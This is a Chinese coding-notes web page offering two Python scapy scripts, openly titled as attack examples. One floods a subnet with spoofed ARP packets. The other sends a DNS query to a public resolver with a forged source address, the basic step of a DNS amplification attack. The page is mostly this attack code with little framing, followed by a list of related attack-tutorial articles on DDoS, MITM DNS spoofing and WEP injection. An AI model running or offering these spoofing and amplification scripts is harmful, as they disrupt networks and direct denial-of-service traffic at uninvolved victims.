当前位置: 首页 > 编程笔记 >

Python中使用scapy模拟数据包实现arp攻击、dns放大攻击例子

严易安
2023-03-14
本文向大家介绍Python中使用scapy模拟数据包实现arp攻击、dns放大攻击例子,包括了Python中使用scapy模拟数据包实现arp攻击、dns放大攻击例子的使用技巧和注意事项,需要的朋友参考一下

scapy是python写的一个功能强大的交互式数据包处理程序,可用来发送、嗅探、解析和伪造网络数据包,常常被用到网络攻击和测试中。

这里就直接用python的scapy搞。

这里是arp的攻击方式,你可以做成arp攻击。


#!/usr/bin/python

"""

ARP attack

"""

import sys, os

from scapy.all import *

if os.geteuid() != 0:

    print "This program must be run as root. Aborting."

    sys.exit()

if len(sys.argv) < 2:     print "Pkease Use %s x.x.x" % (sys.argv[0])     exit() attackIP = sys.argv[1] + ".0/24" srploop(Ether(dst="FF:FF:FF:FF:FF:FF")/ARP(pdst=attackIP, psrc="192.168.1.100", hwsrc="00:66:66:66:66:66"), timeout=2)

dns放大攻击


#coding:utf-8

from scapy import *

from scapy.all import *

a = IP(dst='8.8.8.8',src='192.168.1.200') #192.168.1.200 为伪造的源ip b = UDP(dport=53) c = DNS(id=1,qr=0,opcode=0,tc=0,rd=1,qdcount=1,ancount=0,nscount=0,arcount=0) c.qd=DNSQR(qname='www.qq.com',qtype=1,qclass=1) p = a/b/c send(p) ~

 类似资料:
  • 本文向大家介绍python写的ARP攻击代码实例,包括了python写的ARP攻击代码实例的使用技巧和注意事项,需要的朋友参考一下 注:使用这个脚本需要安装scapy 包 最好在linux平台下使用,因为scapy包在windows上安装老是会有各种问题

  • 在本节中,我们将了解DNS服务器。DNS基本上是将域名转换为设备IP地址的服务器。我们可以将域名(如)转换为存储Google网站的设备的IP地址。由于使用MITM,可以在我们的计算机上运行DNS服务器并以我们想要的方式解析DNS请求。例如,每当有人向Google.com请求时,可以将它们带到另一个网站,因为我们处于中间位置。因此,当有人提出要求时,我们实际上会给他们一个我们想要的IP,然后他们会看

  • AP现在接受我们发送给它的数据包,因为通过使用伪认证攻击成功地将其与之关联。现在准备将数据包注入AP并使数据快速增加,以便解密WEP密钥。 ARP请求重放是第一种数据包注入方法。在这种方法中,我们将等待一个AP数据包,捕获数据包,并将其注入流量。一旦我们这样做,AP将被迫创建一个带有新IV的新数据包。我们将捕获新数据包,再次将其注入流量,并强制AP使用另一个IV创建另一个数据包。我们将重复此过程,

  • 本文向大家介绍Python实现DDos攻击实例详解,包括了Python实现DDos攻击实例详解的使用技巧和注意事项,需要的朋友参考一下 SYN 泛洪攻击 SYN泛洪攻击是一种比较常用的Dos方式之一。通过发送大量伪造的 TCP 连接请求,使被攻击主机资源耗尽(通常是 CPU 满负荷或内存不足)的攻击方式 我们都知道建立 TCP 连接需要三次握手。正常情况下客户端首先向服务器端发送SYN报文,随后服

  • 本文向大家介绍Flask模拟实现CSRF攻击的方法,包括了Flask模拟实现CSRF攻击的方法的使用技巧和注意事项,需要的朋友参考一下 CSRF CSRF全拼为Cross Site Request Forgery,译为跨站请求伪造。 CSRF指攻击者盗用了你的身份,以你的名义发送恶意请求。 包括:以你名义发送邮件,发消息,盗取你的账号,甚至于购买商品,虚拟货币转账...... 造成的问题:个人隐私

  • 本文向大家介绍使用Python防止SQL注入攻击的实现示例,包括了使用Python防止SQL注入攻击的实现示例的使用技巧和注意事项,需要的朋友参考一下 文章背景 每隔几年,开放式Web应用程序安全项目就会对最关键的Web应用程序安全风险进行排名。自第一次报告以来,注入风险高居其位!在所有注入类型中,SQL注入是最常见的攻击手段之一,而且是最危险的。由于Python是世界上最流行的编程语言之一,因此